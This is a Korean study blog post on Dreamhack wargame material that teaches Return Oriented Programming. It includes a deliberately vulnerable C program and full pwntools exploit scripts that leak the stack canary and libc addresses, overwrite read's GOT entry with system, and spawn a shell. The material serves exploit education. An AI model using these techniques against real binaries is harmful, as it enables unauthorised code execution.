혜랑's STORY

[System Hacking STAGE 6] Exploit Tech: Return Oriented Programming 본문

무지성 공부방/Dreamhack SystemHacking

[System Hacking STAGE 6] Exploit Tech: Return Oriented Programming

hyerang0125 2022. 2. 6. 14:44
시작하며

스택의 반환 주소를 덮는 공격은 스택 카나리, NX, ASLR이 도입되며 점점 어려워졌다. 그래서 Exploit Tech: Return to Library에서 살펴본 것과 같이 pop rdi; ret 같은 코드 가젯과 라이브러리의 system 함수를 사용하는 공격 기법이 새롭게등장하였다. 

지난 예제에서는 편의를 위해 바이너리의 PLT에 system 함수를 포함시켰지만, 실제 바이너리에 system 함수가 PLT에 포함될 가능성은 거의 없다. 따라서 현실적으로 ASLR이 걸린 환경에서 system 함수를 사용하려면 프로세스에서 libc가 매핑된 주소를 찾고, 그 주소로부터 system 함수의 오프셋을 이용하여 함수의 주소를 계산해야 한다. 

Return Oriented Programming(ROP)

- 리턴 가젯을 사용하여 복잡한 실행 흐름을 구현하는 기법. 공격자는 이를 이용하여 문제 상황에 맞춰 return to library, return to dl-resolve, GOT overwrite 등의 페이로드를 구성할 수 있다.

ROP 페이로드는 리턴 가젯으로 구성되는데, ret 단위로 여러 코드가 연쇄적으로 실행괴는 모습에서 ROP chain이라고도 불린다. 

아래 예제를 스택 카나리, NX를 적용하여 컴파일하고, 이를 ROP를 이용한 GOT Overwrite으로 익스플로잇하는 실습을 해보자.

// Name: rop.c
// Compile: gcc -o rop rop.c -fno-PIE -no-pie

#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  // Leak canary
  puts("[1] Leak Canary");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  // Do ROP
  puts("[2] Input ROP payload");
  printf("Buf: ");
  read(0, buf, 0x100);
  
  return 0;
}

분석 및 설계

1. 보호기법

실습환경에 ASLR이 적용되어 있고, 바이너리에는 카나리와 NX가 적용되어 있다.

2. 코드 분석

취약점은 Exploit Tech: Return to Library에서 살펴본 것과 동일하다. 그러나 system 함수를 호출하지 않아서 PLT에 등록되지 않으며, "/bin/sh" 문자열도 데이터 섹션에 기록하지 않는다. 따라서 system 함수를 익스플로잇에 사용하려면 함수의 주소를 직접 구해야 하고, "/bin/sh" 문자열을 사용할 다른 방법을 고민해야 한다.

익스플로잇 설계

1. 카나리 우회

2. system 함수의 주소 계산

system 함수는 libc.so.6에 정의되어 있으며, 해당 라이브러리에는 이 바이너리가 호출하는 read, puts, printf도 정의되어 있다. 라이브러리 파일은 메모리에 매핑될 때 전체가 매핑되므로, 다른 함수들과 함께 system 함수도 프로세스 메모리에 같이 적재된다.

바이너리가 system 함수를 직접 호출하지 않아서 system 함수가 GOT에는 등록되지 않는다. 그러나 read, puts, prinf는 Got에 등록되어 있다. main 함수에서 반환될 때는 이 함수들을 모두 호출한 이후이므로, 이들의 GOT를 읽을 수 있다면 libc.so.6가 매핑된 영역의 주소를 구할 수 있다.

libc에는 여러 버전이 있는데 같은 libc 안에서 두 데이터 사이의 거리(offset)은 항상 같다. 그러므로 사용하는 libc의 버전을 알 때, libc가 매핑된 영역의 임의 주소를 구할 수 있으면 다른 데이터의 주소를 모두 계산할 수 있다.

예를 들어 Ubuntu GLIBC 2.27-3ubuntu1.2에서 read 함수와 system 함수 사이의 거리는 항상 0xc0ca0이다. 따라서 read 함수의 주소를 알 때, system = read - 0xc0ca0으로 system 함수의 주소를 구할 수 있다.

위 예제에서는 read, puts, printf가 GOT에 등록되어 있으므로, 하나의 함수를 정해서 그 함수의 GOT 값을 읽고, 그 함수의 주소와 system 함수 사이의 거리를 이용해서 system 함수의 주소를 구할 수 있다.

3. "/bin/sh"

이 바이너리는 데이터 영역에 "/bin/sh" 문자열이 없다. 따라서 임의 버퍼에 직접 주입하여 참조하거나, 다른 파일에 포함된 것을 사용해야 한다. 후자의 방법의 경우 libc.so.6에 포함된 "/bin/sh" 문자열을 사용한다. 이 문자열의 주소도 system 함수의 주소를 계산할 때처럼 libc 영역의 임의 주소를 구하고, 그 주소로부터 거리를 더하거나 빼서 계산할 수 있다.

이 실습에서는 ROP로 버퍼에 "/bin/sh"를 입력하고 이를 참조하는 방법을 사용할 것이다.

4. GOT Overwrite

system 함수와 "/bin/sh" 문자열의 주소를 알고 있으므로, 지난 코스에서처럼 pop rdi; ret 가젯을 활용하여 system("/bin/sh")를 호출할 수 있다. 그러나 system 함수의 주소를 알았을 떄는 이미 ROP 페이로드가 전송된 이후이므로, 알아낸 system 함수의 주소를 페이로드에 사용하려면 main 함수로 돌아가서 다시 버퍼 오버플로우를 일으켜야 한다. 이러한 공격 패턴을 ret2main이라고 부른다.

이 예제에서는 GOT Overwrite 기법을 통해 한 번에 셸을 획득해 보자.

  1. 호출할 라이브러리 함수의 주소를 프로세스에 매핑된 라이브러리에서 찾는다.
  2. 찾은 주소를 GOT에 적고, 이를 호출한다.
  3. 해당 함수를 다시 호출할 경우, GOT에 적힌 주소를 그대로 참조한다.

위 과정에서 GOT Overwrtie에 이용되는 부분은 3번이다. GOT에 적힌 주소를 검증하지 않고 참조하므로 GOT에 적ㄱ힌 주소를 변조할 수 있다면, 해당 함수가 재호출될 때 공격자가 원하는 코드가 실행되게 할 수 있다.

알아낸 system 함수의 주소를 어떤 함수의 GOT에 쓰고, 그 함수를 재호출하도록 ROP 체인을 구성해보자.

익스플로잇

1. 카나리 우회

from pwn import *

p = process("./rop")
e = ELF("./rop")

# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
print('[+] canary: ' + hex(cnry))

결과

2. system 함수의 주소 계산

read 함수의 got를 읽고, read 함수와 system 함수의 오프셋을 이용하여 system 함수의 주소를 계산해보자. pwntools에는 ELF.symbols라는 메소드가 정의되어 있는데, 특정 ELF에서 심볼 사이의 오프셋을 계산할 때 유용하게 사용될 수 있다.

예를 들어 사용하는 libc가 /lib/x86_64-linux-gnu/libc-2.27.so일 때, 다음 코드로 system 함수와 read 함수의 오프셋을 구할 수 있다.

from pwn import *

libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
read_system = libc.symbols["read"]-libc.symbols["system"]

puts와 pop rdi; ret 가젯을 사용하여 read 함수의 GOT를 읽고, 이를 이용해서 system 함수의 주소를 구하는 페이로드를 작성해보자.

pop rdi; ret 가젯 찾기

페이로드 작성
from pwn import *

p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
print('[+] canary: ' + hex(cnry))

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3

payload = b'A' * 0x38
payload += p64(cnry)
payload += b'B' * 0x8

# puts(read_got)
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)

p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
print('[+] read: ' + hex(read))
print('[+] libc_base: ' + hex(lb))
print('[+] system: ' + hex(system))

p.interactive()

3. GOT Overwrite 및 "/bin/sh" 입력

"/bin/sh"는 덮어쓸 GOT 엔트리 뒤에 같이 입력하면 된다. 이 바이너리에서는 입력을 위해 read 함수를 사용할 수 있다. read 함수는 입력 스트림, 입력 버퍼, 입력 길이, 총 세 개의 인자를 필요로 한다. 함수 호출 규약에 따르면 설정해야 하는 레지스터는 rdi, rsi, rdx 이다.

앞의 두 인자는 pop rdi ; ret와 pop rsi ; pop r15 ; ret 가젯으로 쉽게 설정할 수 있다. 그런데 마지막 rdx와 관련된 가젯은 바이너리에서 찾기 어렵다. 이럴 때는 libc의 코드 가젯이나, libc_csu_init 가젯을 사용하여 문제를 해결할 수 있다. 또한 rdx의 값을 변화시키는 함수를 호출해서 값을 설정할 수도 있다. 예를 들어 strncmp 함수는 rax로 비교의 결과를 반환하고, rdx로 두 문자열의 첫 번째 문자부터 가장 긴 부분 문자열의 길이를 반환한다.

이 예제에서는 read 함수의 GOT를 읽은 뒤 rdx 값이 매우 크게 설정되므로, rdx를 설정하는 가젯을 추가하지 않아도 된다.

read 함수, pop rdi ; ret, pop rsi ; pop r15 ; ret 가젯을 이용하여 read의 GOT를 system 함수의 주소로 덮고, read_got + 0x8에 "/bin/sh" 문자열을 쓰는 익스플로잇을 작성해보자.

페이로드 작성
from pwn import *

p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
print('[+] canary: ' + hex(cnry))

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1

payload = b'A' * 0x38
payload += p64(cnry)
payload += b'B' * 0x8

# puts(read_got)
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)

p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
print('[+] read: ' + hex(read))
print('[+] libc_base: ' + hex(lb))
print('[+] system: ' + hex(system))

p.send(p64(system) + b'/bin/sh\x00')

4. 셸 획득

read 함수의 GOT를 system 함수의 주소로 덮었으므로, 지난 코스와 마찬가지의 방법으로 system('/bin/sh')를 실행할 수 있다. read 함수, pop rdi; ret 가젯, '/bin/sh'의 주소(read + 0x8)를 이용하여 셸을 획득하는 익스플로잇을 작성해보자.

from pwn import *

p = process("./rop")
e = ELF("./rop")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

# [1] Leak canary
buf = b"A"*0x39
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
cnry = u64(b"\x00"+p.recvn(7))
print('[+] canary: ' + hex(cnry))

# [2] Exploit
read_plt = e.plt['read']
read_got = e.got['read']
puts_plt = e.plt['puts']
pop_rdi = 0x00000000004007f3
pop_rsi_r15 = 0x00000000004007f1

payload = b'A' * 0x38
payload += p64(cnry)
payload += b'B' * 0x8

# puts(read_got)
payload += p64(pop_rdi)
payload += p64(read_got)
payload += p64(puts_plt)

# read(0, read_got, 0x10)
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0)
payload += p64(read_plt)

# read("/bin/sh") == system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(read_got+0x8)
payload += p64(read_plt)

p.sendafter('Buf: ', payload)
read = u64(p.recvn(6) + b'\x00'*2)
lb = read - libc.symbols['read']
system = lb + libc.symbols['system']
print('[+] read: ' + hex(read))
print('[+] libc_base: ' + hex(lb))
print('[+] system: ' + hex(system))

p.send(p64(system) + b'/bin/sh\x00')

p.interactive()

실행 결과